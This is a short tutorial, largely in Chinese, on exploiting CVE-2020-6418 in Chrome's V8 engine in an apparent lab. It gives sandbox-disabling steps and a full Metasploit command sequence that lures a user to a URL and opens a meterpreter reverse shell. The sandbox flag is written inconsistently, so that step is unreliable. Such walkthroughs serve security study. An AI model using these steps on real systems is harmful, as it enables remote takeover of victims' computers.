CVE-2020-6418 涉及 Google Chrome 中 V8 引擎的类型混淆漏洞。受影响的版本早于 80.0.3987.122。远程攻击者可通过特制的 HTML 页面获取目标设备的 shell。
Note : The Google chrome browser should run with no sandbox for the exploit to be succesfull.
i) 为 Google Chrome 创建快捷方式
ii) 点击“属性”> 进入名为“目标”的选项
iii) 在 EXE 末尾,留一个空格并输入 -no--sandbox
iv) 点击“应用”>“确定”
v) 打开新的 Google Chrome 浏览器,你将看到如下弹窗。
You are using an unsupported command-line flag: -no-sandbox. Stability ans security will suffer
由于我们使用 Kali 作为执行漏洞利用的环境,而 Metasploit 是该发行版内置的工具。但如果你使用其他发行版,则需要在开始漏洞利用之前先设置好 Metasploit。
请参阅 Metasploit 安装 以进一步了解。
i) 启动 Metasploit 框架
> msfconsole
ii) 查找漏洞利用模块
> search chrome_js
iii) 使用上述输出中的可用漏洞利用模块
> Use exploit/multi/browser/chrome_jscreate_sideeffect
iv) 设置 SRVHOST IP 地址
> set SRVHOST <ip address>
v) 设置目标 这里我们有两个选项
> set Target " Number "
vi) 设置 Payload
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
vii) 查看当前设置和已启用的选项。
> show options
viii) 运行漏洞利用
> run (or) > exploit
ix) 你将获得一个 URL,需要将其复制到浏览器中才能激活会话。 x) 一旦用户访问该 URL,便会创建一个会话。要检查会话,请执行:
> show sessions
xi) 使用该会话,我们可以查看用户系统信息 / 进入 shell。
> sessions <number>
> shell